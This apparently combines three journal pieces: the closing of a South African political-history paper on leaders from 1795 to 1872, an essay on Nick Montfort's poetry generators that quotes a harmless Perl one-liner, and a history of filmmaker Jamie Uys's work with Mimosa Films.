H1: The South African leaders of the period 1795 to 1872 made extraordinary contributions to the country and its people.

The findings of this study show that the leaders of the period 1795 to 1872 failed to make extraordinary positive contributions to the country and its people. # Hypothesis H1 must be rejected.

H2: The behaviours of the South African executive political leaders of the period 1795 to 1872 were impeccable.

The findings of this study show that the behaviours of the South African executive political leaders of the period 1795 to 1872 as leaders and as persons failed to be extraordinary and impeccable. # Hypothesis H2 must be rejected.

Looking at the racial discrepancies, discriminations, injustices and conflicts present by 1872 in South Africa, especially between its individual inhabitants, the Italian proverb: After the game, the king and the pawn go into the same box, is misleading. After two centuries of gaming together, these groups could not fit into one box.

5. References

  1. Geen MS. The Making of the Union of South Africa. London: Longman and Green; 1945.
  2. Scholtz GD. Suid-Afrika en die Wéreldpolitiek: 1652-1952. Pretoria: Voortrekkerpers; 1964.
  3. Beyers C. Binnelandse Beroering en Ondergang van die Kompanjie, 1779-1795. In: AJH     Van Der Walt, JA Wiid, AL Geyer. Geskiedenis van Suid- Afrika. Cape Town: Nasou; Annon.).
  4. Roberts JM. The Penguin History of the World. London: Penguin; 1995.
  5. Van der Merwe JP. Die Kaap onder Britse en Betaafse Bestuur, 1795-1806. In: AJH Van Der Walt, JA Wiid, AL Geyer. Geskiedenis van Suid- Afrika. Cape Town: Nasou; Annon.).
  6. Bless C, Higson-Smith C. Fundamentals of Social Research Methods: An African Perspective. 2nd ed. Kenwyn: Juta; 1995.
  7. Louw GP. A guideline for the preparation, writing and assessment of article-format     dissertations and doctoral theses. 2nd ed. Mafikeng Campus: North-West University, South Africa; 2017.
  8. Maree K, Van der Westhuizen C. Head start in designing research proposals in social sciences. Cape Town: Juta; 2009.
  9. Governors of the Cape Colony. [Internet]. [Cited 2018 Apr.18]. Available from
  10. Grundlingh MAS. Vyftig Jaar Britse Bestuur, 1806-1854. In: AJH Van Der Walt, JA Wiid, AL Geyer. Geskiedenis van Suid- Afrika. Cape Town: Nasou; Annon.).
  11. Cape Colony. [Internet]. [Cited 2018 Apr.18]. Available from
  12. Martinez R. Creating Freedom. Edinburgh: Canongate; 2016.
  13. Van den Heever CM. Generaal JBM Hertzog. Johannesburg: AP Boekhandel; 1944.
  14. Van Der Walt AJH, Wiid JA, Geyer AL. Geskiedenis van Suid- Afrika. Cape Town: NASOU; Annon.
  15. Immelman RFM. Men of Good Hope, 1804-1954. Cape Town: CTCC; 1955.
  16. Parliament of the Cape of Good Hope. [Internet]. [Cited 2018 Apr.18]. Available from
  17. Morudu P. Wie dra die meeste skuld? Rapport (Weekliks). 2016 May 22; pp. 4-5.
  18. McCraken JL. The Cape Parliament.Oxford: Claredon; 1967.
  19. Wiid JA. Politieke Ontwikkeling in die Kaapkolonie, 1872-1896. In: AJH Van Der Walt, JA Wiid, AL Geyer. Geskiedenis van Suid- Afrika. Cape Town: Nasou; Annon.).
  20. Barber M. How to run a Government. London: Penguin; 2015.
  21. Chomsky N. Occupy. Parktown: Penguin; 2012.
  22. Engelbrecht T. ‘n Kroniek van ‘n kaalgatperske. Rapport (Weekliks). 2018 Jan. 21; pp. 12-13.
  23. Kasrils R. A simple Man. Kasrils and the Zuma Enigma. Pretoria: Jacana; 2018.
  24. Powell J. Talking to Terrorists. London: Penguin; 2014.
  25. Boon M. The African way: The power of interactive leadership. Sandton: ZebraPress; 1996.


Not commissioned; External peer-reviewed.


The author declares that he has no competing interest.


The research was funded by the Focus Area Social Transformation, Faculty of Humanities, Potchefstroom Campus, North-West University, South Africa.


Please note that I, the author, is aware that the words Creole, Bantu, Kaffir, Native, Hottentot and Bushman are no longer suitable terms and are inappropriate (even criminal) for use in general speech and writing in South Africa (Even the words non-White and White are becoming controversial in the South African context). The terms do appear in dated documents and are used or translated as such in this article for the sake of historical accuracy. Their use is unavoidable within this context. It is important to retain their use in this article to reflect the racist thought, speech and writings of as recently as sixty years ago. These names form part of a collection of degrading names commonly used in historical writings during the heyday of apartheid and the British imperial time. In reflecting on the leaders and regimes of the past, it is important to foreground the racism, dehumanization and distancing involved by showing the language used to suppress and oppress. It also helps us to place leaders and their sentiments on a continuum of racism. These negative names do not represent my views and I distance myself from the use of such language for speaking and writing. In my other research on the South African populations and political history, I use Blacks, Whites, Xhosa, Zulu, Afrikaners, Coloureds, KhoiSan (Bushmen), KhoiKhoi (Hottentots) and Boers as applicable historically descriptive names.

Generous Poetry Generators

Mark C. Marino

Taroko Gorge and ppg256
by Nick Montfort

The sonnet has been around for centuries. Petrarch wrote sonnets. Shakespeare wrote sonnets. By now there are probably enough sonnets to wallpaper Westminster Abbey several times over. Haiku is an even older and (deceptively) simpler form. To number haikus would be to count grains of sand on the beach at Fontana. These poetic forms are merely a set of formal constraints and conventions of content, yet those restrictions, those boundaries, prove to be so highly generative.

Of course, the quest to create new poetic forms has likewise produced its own vast bestiary. In fact, the challenge to create a new form has been so attractive, poetry collectives like the Ouvoir de Literature Potential (Oulipo) have made the creation of new forms, or Synthouliposm, their primary raison d’être. As Oulipian Raymond Queneau explained, “We call potential literature the search for new forms and structures that may be used by writers in any way they see fit”  [Motte 1986a, 38]. Obviously creating a new form is one task, convincing other writers to use that form is another.

Enter onto that pitch digital computers, engines of procedural creation, and now the potential for the creation of new poems has increased beyond measure. Poetry generators have been around arguably since the first computers. Christopher Strachey, who worked with Alan Turing on the Manchester Mark I, developed a program to generate love letters . While the output was not specifically poetry, per se, this program did point the way for countless generators to come.

One branch of the Oulipo, the ALAMO, developed the primarily paper and print-based approaches of the group for the age of algorithms and digital computers.  As the Oulipans declared, “This is a new era in the history of literature: Thus, the time of created creations, which was that of the literary works we know, should cede to the era of creating creations, capable of developing from themselves and beyond themselves, in a manner at once predictable and inexhaustibly unforeseen”  [Motte 1986a, 48–49].

With the advent of the personal computer and the rapid development of creative networks across the World Wide Web, the number of computer-based poetry generators has multiplied like our lists of sonnets and poetic forms.

One generator Taroko Gorge has proven to be particularly generative. Taroko Gorge first appeared in January 20009 as a one-page python poetry generator on MIT Professor and poet Nick Montfort’s web page. The program is an elegant piece of code that builds on Montfort’s previous experiments with generators.

Elegance refers to an aesthetic aspect of its code, its beauty, the way that it reads. Elegance is a kind of x-factor, a je ne sais quoi, for code, no more an objective measure of the code than elegance is in the grace of a stride or in the fall of a hem. Elegance is in the eye of the person reading or writing the code – computational devices, as far as we know, are largely indifferent to such aesthetics.

It was in his Turing Award Lecture, that computer science pioneer Donald Knuth argued for “Computer Programming as an Art.” In that essay, Knuth argues that programming should be elegant, where elegance is not so much about adornment as a kind of Strunk & White highly clear prose, simple, straight-forward, legible, easy to adapt and re-use. It is this last property that Taroko Gorge demonstrates so well. But its elegance may not be readily apparent.

Montfort’s own brand of elegance grows out of his love of concision. One of his prior creations, the ppg256 (256 character Perl Poetry Generator) exemplifies this aesthetic perfectly. Two hundred and fifty-six refers to the number of characters (letters, numbers and punctuation marks) in this Perl program. Here’s an example of a poem it generated:
the nunelf
one hip gungod
hit it.
The generator works by drawing from sets of syllables and combining them in a poetic structure. This poem may not read like something by Natasha Trethewey, but such poems are a fete for a program that looks like this:

perl -le ‘sub p{(unpack”(A3)*”,pop)[rand 18]}sub w{p(“apebotboyelfgodmannunorcgunhateel”x2)}sub n{p(“theone”x8)._.p(bigdimdunfathiplitredwanwax)._.w.w.”\n”}{print”\n”.n.”and\n”.n.p(“cutgothitjammetputransettop”x2)._.p(“herhimin it offon outup us “x2);sleep 4;redo} #’

A non-programmer, or even just a newcomer to this approach, might wonder where the words are the generator uses to create these poems, for they rely on no external texts or grammars or dictionaries. Even without knowing Perl, you can look in the first string of letters, apebotboyelfgodmannunorcgunhateel, and see the little units (trigrams, three-letter combinations) that would become nunelf and gungod. No single poem produced by these generators can truly capture its potential. For that, one needs to have the code. At that point, the algorithm becomes the poetry.

Montfort has a programmer/poet’s obsession with concision and elegance. When discussing the 256ppg, he recounts his enthusiasm for Perl golfers, programmers who attempt to reduce their lines of code like Tiger Woods, chipping away at their own stroke counts. Fitting his poetry generator into 256 characters puts him on par with some of the various best in the field.To understand how this code becomes an aesthetic object, one has to stop thinking about code as something purely functional (such as the plumbing in your house) but instead as something both functional and aesthetic (like the bright pink and blue pipes used in construction projects in Berlin). Or perhaps a better example would be a beautiful stretch of road that is both easy to drive on, well maintained, and lined with lovely elms. Code is written not merely for machines to process but as a form of communication between programmers especially those who must later maintain and develop the code. But, as the Perl Golf contest demonstrates, it is also an arena where programmers can demonstrate the grace of their algorithms and the efficiency of their thought embodied in code. Code is an expression of thought. A cleverly designed algorithm has the force of a novel poetic conceit.

Taroko Gorge is a poem generator on the topic of the beautiful Taroko Gorge National Park in Taiwan. Like an electronic-age Emerson, Montfort composed the program mostly at the park, finishing it up on the plane afterward. Consider some of its creations:

Brow ranges the coves.
Forests dwell.
Forests hum.
Brows trail the cove.

progress through the encompassing cool —

The crags sweep the flows.
Forests relax.
Heights command the shapes.

enter the sinuous —

The crag ranges the veins.
Forests exercise the veins.
track the straight objective arched clear —

The pattern of the poetry is
0, 1, or 2 Sites.

Cave – Path = Noun + verb + object.
Site = Noun verb
Cave = verb + the + noun + adjective + object

From these simple structures, drawing upon relatively brief lists, the generator produces multitudes.

Montfort has called Taroko Gorge a “limiteless nature poem,” but it is important to realize that he is not referring to any poem generated by the code but the code itself as the poem. What makes the poem limitless is that the program, once executed, continues to iterate. Limitless, thus, is not a characteristic of any one set out of output, but of the capacity of the program to develop poetry without limit.

However, the generous nature of this formal structure can be seen not so much in the poems it generates as the variations on this poetry generator that have been created by subsequent poets, over a dozen so far, each taking on a new theme (pop culture, food, George Takei) and its own variation on the code. And so the day of generators generating generations is upon us, as the promise of procedures flows on.


Mark C. Marino is a scholar and author of electronic literature. He teaches writing at the University of Southern California, where he directs the Humanities and Critical Code Studies Lab.

Sage and screen: Jamie Uys as filmmaker part 2: The Mimosa Films phase, 1966-1996

Jan-Ad Stemmet, Department of History (University of the Free State, RSA).

This article was written with the gracious co-operation of Dr Boet Troskie (founder: Mimosa Films) and mrs. Mireschen Troskie-Marx (board member: Mimosa Films).

Ensovoort volume 37(2017), number 3:1


In his career of nearly 50 years, Jamie Uys made more than 40 pictures — feature films, short films, and documentaries. Most of his work appeared before he joined Mimosa Films, and between 1950 and 1966 he launched about a film a year. During his Mimosa Films period (1966-1996), he made only seven films, and these took longer to complete and were more expensive than anything he had done before. All his films of this period were very successful commercially and critically: of his seven full-length movies, five were sensational international successes on a scale that had not previously been seen in the history of film in South Africa. The Gods must be Crazy (1980) remains the single most successful film ever from Africa. This article gives an overview of the period 1966-1996. During the last 30 years of his life, the filmmaker reached his creative and professional peak. This article is not intended to be a thorough critique of Uys’s works: It examines the filmmaker’s creative and professional challenges and processes in making his remarkable contribution to South Africa’s (cinematic) cultural history.


In his career of almost 50 years, Jamie Uys made more than 40 pictures – feature films, short films and documentaries. Most of his works appeared before he joined Mimosa Films, and between 1950 and 1966, he released approximately a film a year. Although this productivity developed his film-making abilities tremendously, Uys detested making films just for financial reasons. He longed for the financial security to make movies meticulously. During his Mimosa Films phase (1966-1996), he made only seven feature films. His Mimosa pictures took longer and cost more to make than anything he had done before, and all these films were critical and commercial successes. Of his six features, five achieved international success on a scale unprecedented in the film history of South Africa. His The Gods must be Crazy (Uys 1980) remains the single most successful film ever to come from Africa. This article will chronicle the period 1966-1996 (Uys passed away in 1996), during which time he reached his creative and professional apex. In a time when South African television was booming, and, as a result, the local film industry was waning, he made South African cinematic history.

This article does not intend an in-depth critique of Uys’s works, but explores the film-maker’s creative and professional challenges and processes in making his landmark contributions to South Africa’s (cinematic) cultural history. Jamie Uys was an intensely private individual, and therefore no (auto)biographies, history books, or academic theses dealing specifically with Uys have ever been published. The article therefore relies on newspaper and magazine clippings, and Mimosa Films allowed access to its private archive.

An ace called Uys and the men from Mimosa

In 1965, the small production team, with only a miniscule budget, filmed seven days a week, night and day, winter and summer (without the luxury of sets and studios) to make Die wonderwêreld van Kammie Kamfer (The Wonderful World of Kammie Kamfer) (1965). Al Debbo, Afrikaans all-round entertainer, was in charge of filming. It was one of Debbo’s many movies and the first film from the Free State’s Mimosa Films. Boet Troskie, a young Bloemfontein businessman who dealt in vehicles, had seen Debbo’s Donker Afrika (Dark Africa) (1957) and at a variety show starring Debbo asked Debbo why he stopped making movies. It turned out that financing was Debbo’s problem. In fact Debbo had a script (by seasoned actor Gert van den Bergh), but no financial backing (Mimosa Films 1985). “When Al told me that it cost almost R60 000 to make a film, I nearly fell on my back. Nonetheless, the next day we put our heads together and formed Mimosa Films,” recalled Boet Troskie of the day in 1964 when, together with his brother, Bill, they founded their film company (Stemmet 2011:96). While the Troskie brothers from Bloemfontein were developing their first production, the country’s foremost filmmaker, Jamie Uys, had left his own production house. The Troskies knew Gilbert Gibson, an actor who had played a role in Uys’s Rip van Wyk (1960) and Doodkry is min (1961) (Gibson had also done the translation for Donker Afrika).

Boet Troskie asked and later pleaded with an uncertain Gibson to arrange a meeting. “They [Boet and Bill Troskie] just pitched up at my house,” Uys recollected. “They said they’d made one movie with Al Debbo and wouldn’t I like to join them. It so happened that at that time I was a bit fed up with my distributors [Jamie Uys Films] because they took over my name and put some funny things under its banner. So a week later I phoned them [Boet and Bill Troskie] and said OK” (Mimosa Films 2007a). The country’s youngest production house (Mimosa Films) and the country’s most prominent filmmaker (Jamie Uys) had teamed up. In 1966, Uys became a director of Mimosa Films. Their collaboration spanned 30 years, during which time they would create the most successful films in South African history — and there was never anything resembling a written agreement between Troskie and Jamie Uys. It was all based on trust and camaraderie. The unwritten agreement was staggeringly simple: The filmmaker must make films; the businessman will take care of business. Uys was given the creative safety and financial security to focus on his storytelling. Arguably, he was one of only a few filmmakers ever to work without a narrow budget or timescale. “I’ll never forget those years when I had to make films and agonize over the business side, raising money, paying wages,” said Uys, “[Now] I make the films, they [Mimosa Films] look after the money” (see Mimosa Films 2007a, Sutton 1983, and De Bruin 1983b). The Uys-Mimosa Films alliance kicked off with a double dose: A feature film and a documentary.

Three wise men (1967) centred on how three different blind South Africans viewed their respective worlds. This was shown in bioscopes in America’s major cities (1968) to critical and popular acclaim, and was then re-edited by Uys to a 14-minute TV-insert, which was screened across the USA — within a single year, it was broadcast by various American TV-stations more than 4 000 times (Stemmet 2011:99). Uys was suddenly regarded by America as master of the short. Only in 1980 was the film withdrawn from circulation (see Anonymous 1968k, Anonymous 1968l, and Mimosa Films n.d.).

Die Professor en die Prikkelpop

In 1966 Uys wanted three months off to do anything that had nothing to do with films. After three weeks he was bored and abruptly started scriptwriting. Uys had been a judge at a beauty pageant in Springs once and the experience had stayed with him (see Anonymous 1966a, and Anonymous 1966b). Die Professor en die Prikkelpop (also released as The professor and the beauty queen), released in 1967, revolved around a beauty pageant. In this film, his first full-length feature with Mimosa Films, a contestant’s gangster-boyfriend tries to make sure his lady will win — regardless of the cost. One of the judges (Uys), a rather disoriented professor and single father to a little boy (Uys’s son Wynand Uys), gets mixed up in the pageant’s dangerous (and funny) intrigues (Uys 1967).

To create a publicity buzz Mimosa Films arranged with newspapers throughout South Africa to hold beauty pageants to select twelve actors who would star as the contestants in the film. The papers loved this idea and hundreds of hopeful starlets entered. Uys crisscrossed the country several times screen-testing the contesters (see Gibson 1966, Anonymous 1966a, 1966b, 1966c, and De Cock 1967) (in the process he discovered Tiny de Lange whose onscreen beauty would mesmerize South Africans). For the theme song Uys had to choose from eight possibilities but ultimately could only select one: Kobus “Dopper” Erasmus wrote “Timothy”, performed by Four Jacks and a Jill, and sung, in the picture, by Carike Keuzenkamp; launching her career. Uys’s only picture focusing specifically on women was a financial success and earned R250 000 in three months, (Mimosa Films 1980).


In some way or another, each one of Uys’s Mimosa pictures provided the spark for the next one. The filmmaker was flying to Namibia, in 1967, to promote Die Professor en die Prikkelpop when he became completely hypnotised by the sprawling red dunes of the desert. As a seasoned cinematic storyteller, he realised that, in spite of its majesty, images of dunes will only mesmerise audiences for a few moments. He had read of a plane crash in which only a small child survived (Mimosa Films 1988). Uys’s script told of a sickly boy (Wynand Uys 1) that is sent by his pianist father (Jamie Uys) to a drier climate for health reasons. The plane carrying the boy crashes, and he is lost in the Namib Desert together with his dog, while the father frantically searches for him (Uys 1969). Initially entitled The Fallen Sparrow, Uys later decided on Dirkie (the English version was released as Lost in the Desert) (Anonymous 1968h). Dirkie’s story might have been a simple premise, but the production was a gruelling epic. 2 Most directors that have filmed in the Namib usually did not venture away from more civilised parts of the country, but Uys said, “We are going to film at even the most inaccessible places” (Stemmet 2011:76). Uys and Mimosa negotiated permission to film at places that are legally off-limits to the public; including parts of Namibia’s confined diamond zone. Uys travelled thousands of miles across Namibia, first by car and then plane, location-scouting (see Anonymous 1968f, and 1968g).

Actual filming stretched from the Kalahari Gemsbok Park (currently the Kgalagadi Transfrontier Park) to Etosha to Windhoek to Walvis Bay, Rhehoboth and the restricted diamond zone. The Uys team would drive 11 000 kilometres through the wilderness to make the picture. Challenges abounded: The R250 000 budget did not allow for luxury accommodation, and they would camp far away from civilization (and sometimes water), which made planning for the production an intricate operation. Once a week a plane brought provisions from Windhoek; otherwise the filmmakers were on their own. The small crew of 11 had to obey food and water rations. Temperatures were extreme: The nights icy; the days hot. Tents, equipment, notes, and supplies were constantly blown away by desert winds. The crew tented in the Namib wilderness amidst wild animals. 3 Animals used in the film, ranging from a leopard to a hyena to a baboon to snakes and scorpions, an Alsatian and Dirkie’s pet Cairn terrier, had to be tended to as well (see Pienaar 1968, Anonymous 1968j, Mimosa Films n.d.). Apart from the snakes and scorpions, the other animals were tamed, but not trained, which complicated the filmmaking. 4 Furthermore, Jamie Uys suffered from a unique medical condition: The intense heat made his lips burst into a (painful) bloody mush. When Uys (lead actor / scriptwriter / director / principal cameraman) became incapacitated, the production stopped, sending costs soaring (Mimosa Films 2007a). Uys needed an indigenous child to play a part in the movie, and remembering an old legend, the secluded local tribes were convinced “the white one” wanted to buy their kids as slaves. After gentle negotiations (as well as a change of filming location), the director acquired his, anonymous, actress (Mimosa Films 1988). Dawid, a local Toppenaar, played a Khoi San without ever having seen a movie, which complicated the production even further (Anonymous 1969).
However, the two most treacherous challenges facing Uys were dunes and sand. “At night he has nightmares about those footprints,” Hettie Uys mentioned (Anonymous 1968b). The red dunes (the film’s muse) were nightmarish: Dirkie was supposedly alone in the desert, and when a dune shot demanded a retake, a different virgin dune without footprints had to be found (see Breytenbach 1968 and 1968b). Secondly, the fine desert sand got into the cameras, and it took only a few sand particles to obliterate the delicate film. Uys could not evaluate the filmed material in the desert, and it had to be flown from Namibia to London, where it was developed by Eastman / Technicolor. Only back in Johannesburg could he see the material (making editing a nightmare). If it was damaged or Uys was unhappy with a scene, the whole production team had to trek back and reshoot, prolonging production and wrecking the budget (Mimosa Films 1988). At last — and after a lot of public anticipation and speculation — Dirkie (Lost in the Desert) was released in 1969. It was more than just successful: It set South African box office records. The 13 prints Mimosa Films had made were not nearly enough, which meant Mimosa officials had to travel across the country to deliver copies. Boet Troskie and Mimosa Films brokered a deal for Dirkie’s international distribution with the Columbia Pictures Corporation, which screened it almost worldwide with tremendous success 5, putting Uys squarely on the international studios’ radar.
In between the production process of Dirkie, Uys created two short films, commissioned by the Department of Information, for international showing. Marching to Pretoria (1969) looked at the country’s administrative capital (Uys 1969), while The Great Adjustment (1969) showed how man and animal co-existed (Uys 1969). Animals were his next feature’s theme.

Beautiful People

After the overseas breakthrough with Dirkie, Hollywood wanted another Uys picture. While filming Dirkie in Namibia, Uys was mesmerised by the desert’s fauna and flora. He was to make a full-length feature film about it: with no humans. 6 Although styled like a nature documentary, Beautiful People (1974) was an epic feature, and Uys revealed Southern Africa’s fauna and flora as a lush-dried paradise. He was to capture a rainbow of trees, plants, flowers and seeds, to birds, fish, insects and reptiles as well as herbivores and carnivores, plus his beloved desert, in an imaginative way. Beautiful People showed how the wild kingdom and the human world mirrored each other. Part comedy, part drama, part adventure, part tragedy, part romance, part action, part educational — the picture, essentially, was a combination of all genres (see Uys 1974 and Mimosa Films 2007a).

The most gruelling production of his career of almost 50 years, Beautiful People was beset with practical difficulties. 7 The regions Uys wanted to explore cinematically morphed with the slightest change in the weather — never mind seasons. Nature cannot be hurried; the filmmaker simply had to wait, film, and wait again. The wild is wild: a missed shot was lost forever. Furthermore, he wanted to capture Southern Africa’s natural world almost in its entirety, a rather far-fetched ambition for a man who preferred to work alone. As chief cinematographer, he travelled about 200 000km through the Kalahari, Namibia, Botswana and Zimbabwe in over three years (see Anonymous 1973, 1974b, 1974c, and 1974d). “In spite of the heat, rain, tsetse flies and humidity it was fun for the most of the time,” said Uys (Stemmet 2011:79). “Each change in the weather brought out different animals for me to look at, study and film” (Keil 1974:10). Katinka Heyns (1996:35) remarks,

Iemand wat dink hy was in sy dierefilms verplig om baie aan die toeval oor te laat, of aan dié of daardie bobbejaan se wispelturigheid, neem nie Jamie se legendariese hardnekkigheid in ag nie. Met sy soort geduld kon hy mettertyd selfs die toeval manipuleer.

[Someone who thinks he was obliged in his animal movies to leave much to chance, or to this or that baboon’s fickleness, does not take Jamie’s legendary stubbornness into account. With his kind of patience he could eventually even manipulate chance.]

In the end he had an astounding 804 672 metres of film — he was personally going to edit it to 3 000m. Working non-stop for 18 months, Uys — jetting between his Johannesburg studios and California — edited the labyrinth of film; his overzealousness resulting in cardiac arrest. Rina Venter, from Mimosa Films, said: “He’s overextended and moreover he’s doing everything himself” (see Anonymous 1972a, 1972b, and Mimosa Films 2007a).

Boet Troskie, backed by Hollywood, managed a million-dollar production (South Africa’s first), which was quickly depleted by a drawn-out production of Beautiful People. The Americans demanded a film or the money. With the one-man filmmaker in intensive care, the picture had the potential to kill Uys and Mimosa Films. Dr. Troskie persevered and Uys made a quick recovery. Uys again started working on Beautiful People. The film was presented to experts to explain the animals’ behaviour and if “they could not tell me I would work it out for myself” (Keil 1974:10). Uys had to write an absorbing commentary with which to tie-up some 40 sequences 8 (see Anonymous 1973, 1974b, and 1974d).

By 1975, more than 3 000 000 had seen Beautiful People — more than the country’s entire white population. Locally the picture made more than R3 000 000. At just one South African bioscope the film sold more tickets than an average Afrikaans movie grosses nationally. In November 1974, Variety stated: “Beautiful People is an extraordinary African nature documentary, one of the finest examples of its kind and told with a singleness of purpose…” (Anonymous 1974a). When released in the USA, the film’s popularity was fantastic: Within three weeks it made $525 000 in Los Angeles and $450 000 in Dallas. In Hong Kong the film (permanently sold out) caused havoc (Stemmet 2011: 101). Large crowds waited for hours to get tickets. In Bangkok — in 48 hours — it had set an attendance record. It made more than (US) $965 000 at three Tokyo theatres within 84 days; within 33 days Hong Kong’s seven bioscopes sold tickets worth (US) $618 905 — eventually making twice as much as the legendary Star Wars (stemmet 2011: 101). Across South America the movie was thrashing records (see Anonymous 1975a, 1975b, and Breytenbach 1974). By 1980, Beautiful People had earned some (US) $15 000 000. In the same year, Boet Troskie sold the television rights to the American network NBC: 20 000 000 Americans watched it in one broadcast (Anonymous 1980e). 9 By 2009, Beautiful People, bought by Warner Bros., was still shown on television worldwide. Awards proliferated, including America’s coveted Golden Globe for best documentary (Mimosa Films 2007b).

Funny People

“Actually I had my crew just film a couple of comical shots to keep them busy after we had completed Beautiful People,” explained Uys. “When I saw the result, we just left everything and started to work on what would later become Funny People” (Anonymous 1976d). Uys first saw hidden camera-comedies — showing ordinary citizens’ reactions to extraordinary situations — as a schoolboy, and loved the idea (Anonymous 1976g). “It’s fascinating to see how people reveal their personalities in moments of stress,” said Uys (Ferreira 1976). Uys experimented with the concept, of hidden-camera pranks, while making the 1969 short film Marching to Pretoria. Troskie flew to New York to meet with Allan Funt, legendary creator of Candid Camera, to negotiate permission to use the premise (Mimosa Films n.d.). The Uys team compiled a list of almost a hundred sequences from which they chose about 50 to stage. The scenarios had to be planned with precision — catching humorous reactions meant precise timing; camouflaging the cameras and microphones were also tricky. Filming across the country took 18 months. They snared hundreds of South Africans of all ages and races. Uys then sat with five hours of usable material, which had to be edited into a 90 minute picture, taking him six months (see Van Rensburg 1976:35 and Anonymous 1976c, 1976b, and 1976h). Funny People (Uys 1976) was to better the record-breaking success of Beautiful People.

In March 1976, Uys personally took Funny People for its first screening to thousands of South African troops stationed at Grootfontein in what was then South West Africa. Shortly afterwards, he showed it to (almost) all South Africa’s parliamentarians, including State President Nico Diederichs, Prime Minister John Vorster, and a full cabinet — the stern politicians cried with laughter (Anonymous 1976f and 1976j). Public anticipation for South Africa’s first hidden-camera film was ablaze. Nationwide, theatres were sold out for days — even before its release. In some cities, all sessions were sold out weeks in advance. In its first week alone, grossing about R250 000, one in every 19 white South Africans had bought a ticket (see Javis 1976, Greig 1976, and Anonymous 1976e and 1976a). No other film had ever achieved that many sales (Anonymous 1976i). The spur-of-the-moment comedy provoked such a national circus of popularity that Troskie decided to take it to the Cannes Film Festival (the global cinema industry’s most important trade fair). He successfully sold the film for distribution in most countries worldwide 10. International distributors bought the movie without having seen it — the name Jamie Uys clinched the deal (Mimosa Films 1986a). After engulfing South Africa, once more depleting the State’s film subsidy scheme, Uys’s People annexed box offices across the world raking in millions for years 11. While selling Funny People at Cannes, Dr. Troskie was besieged by interest in Uys. Some of the world’s largest film financiers demanded the right to bankroll his next three productions (Slabbert 1976). Uys knew exactly what his first one was to be. In 1975 he already hinted “my next big picture – it takes place in the desert – will be considerably more expensive and more ambitious than Beautiful People” (Van Zyl 1975).

Meanwhile, in 1976, South Africa finally started a television service. This had a devastating effect on the local film industry: Movie attendances naturally and immediately dropped. In 1976, some 32 local movies were released, the next year there were only 18, and in 1979 only 12 – and it would continue dropping (Garden 1983 and Mimosa Films n.d.). By 1980, Uys was one of a handful full-time filmmakers in South Africa.

Whilst making Dirkie and Beautiful People, Uys had become intrigued by the Bushmen. “A name I haven’t got yet. It’s about a white and a Bushman and will take place in Botswana…” and “It’s a bit of everything — comedy, pathos, tension…” a secretive Uys divulged (Mimosa Films n.d.).

The Gods must be Crazy

Uys first spoke about his Bushman-Coke movie idea and his fascination with these enigmatic desert people in 1976 (Anonymous 1976k). A pure documentary about the Bushmen, as was the case with Beautiful People’s red dunes, was too bland: he needed to intertwine documentary with entertainment. Uys would use the essence of his first picture, 1951’s Daar doer in die Bosveld (Deep in the Bushveld), and from there other themes originated (Mimosa Films 2007a). “There are only 13 000 Bushmen left in the country and I saw as many as I could find,” Uys said, who went on the hunt for his ideal desert hunter (Thomas 1985). Uys drove and flew tens of thousands of kilometres searching for his leading man. “[T]hey live over a vast area…and they don’t have addresses,” the filmmaker described. “I took 50-60 photos of prospects, marking the longitude and latitude where they were located” (Anonymous 1985e) 12. Back in Johannesburg, Uys had to pick one from hundreds of Bushmen. A lot (including a budget of millions) relied on his choice. “When I looked at the photos, one of them stood out” (Anonymous 1985d). Uys said about his star’s X-factor: “There is a word adeldom in Afrikaans that describes him exactly. It’s sort of aristocracy … though that sounds too pompous” (Mimosa Films 1986b). Having found his star and his core storylines, Uys needed something to tie it all together; something so ordinary that everyone will recognize it. “I simply used a Coke bottle because it is such a recognizable form,” Uys spoke of his cinematic eureka moment (Stemmet 2011:103).

“When I make a film, I first work out the dance steps. The dialogue comes later” (Mimosa Films 2007a). Uys found scriptwriting gruelling, but always wrote his own: “Scripts — good scripts — are rare. I would like to once film another guy’s script, but I am too full of nonsense to be pleased. Even with my own scripts the end result is never what I had imagined when I wrote it and then I am really unhappy” (Gous 1983:68). He would write a few lines for ten or so minutes and then play Scrabble or cards. He pondered every word; when finished he rarely changed anything. “There is only one way in which Jamie writes scripts,” Sue Antelme, Uys’s assistant, revealed. “When he works in the garden and spades for all he’s worth, I stand at his side with pen and notepad at the ready” (Anonymous 1979d). The result was The Gods must be Crazy: A Coke bottle falls on a Bushman’s (N!Xau) 13 head. The tribe believes it has been sent from heaven, and soon it disrupts their lives. The gods must be crazy for having given them this thing, and Xi subsequently walks to the end of the earth to throw it away. En route he gets mixed up with a bumbling macho man (Marius Weyers) and his love interest, a school teacher (Sandra Prinsloo). They get involved with the intrigues of a guerrilla group (Louw Verwey played its leader). N!Xau’s character saves the day (Uys 1979).

For The Gods Must Be Crazy Uys, with his six 4x4s, drove 50 000km while location-scouting throughout Angola, Botswana, the Kalahari, Namibia, and across South Africa (Stemmet 2011:102). The filmmaker (as usual doing almost everything himself) and his permanent technical crew of roughly six young men, now embarked on creating the multi-million dollar production. Uys used young apprentices because “it does not help if the people are too smart for their own good and do not do as I say” (Rossouw 1983). Legends abound of Uys’s tenacious perseverance while making this movie. 14 He filmed on a scale of more than twenty to one (more than twenty takes of a single scene). He — unlike his cast and crew — apparently never got tired; whatever it took to realize his vision, he would do it. Any premise of a deadline and budget 15 quickly vanished: nobody knew when the picture would be finished or how many millions it would actually cost. Uys calmly persisted, and Mimosa Films never lost faith. “I am the world’s worst to pin down to a budget and a schedule,” Uys declared. “I need complete freedom to go out and shoot” (Stemmet 2011:77). His executive producer, Dr. Troskie, said, “It is Jamie’s best yet, but he has given me some headaches” (Stemmet 2011:103). Apart from a smorgasbord of production challenges, Mimosa Films could not pre-sell the The gods must be crazy to overseas interests as a delivery date was impossible to set (Hay 1980). In May 1979, Troskie took a specially edited 20-minute segment from the picture to show at the Cannes Film Festival. Irrespective of delivery date, the international movie men went wild for it — 26 countries, from Germany to Israel to Indonesia to Venezuela, offered millions for distribution rights (of the yet unfinished movie) (Anonymous 1979c, 1979a, and 1979b).

By the end of December 1979, Uys had been editing The Gods must be Crazy for months, for 14 to 18 hours a day, without a single day’s rest — in between jetting to America to finish the soundtrack. During this time he suffered a heart attack, his second heart attack. Uys recuperated while a concerned Mimosa Films contracted a top editor from Hollywood to assist the workaholic (Steyl 1980, Anonymous 1980f). In the end, Jamie Uys had slaved over his picture for 4½ years (Mimosa Films 1986b). Following one postponement after another regarding the première, The Gods must be Crazy was locally released on 8 September 1980 (Mimosa Films 1986b).

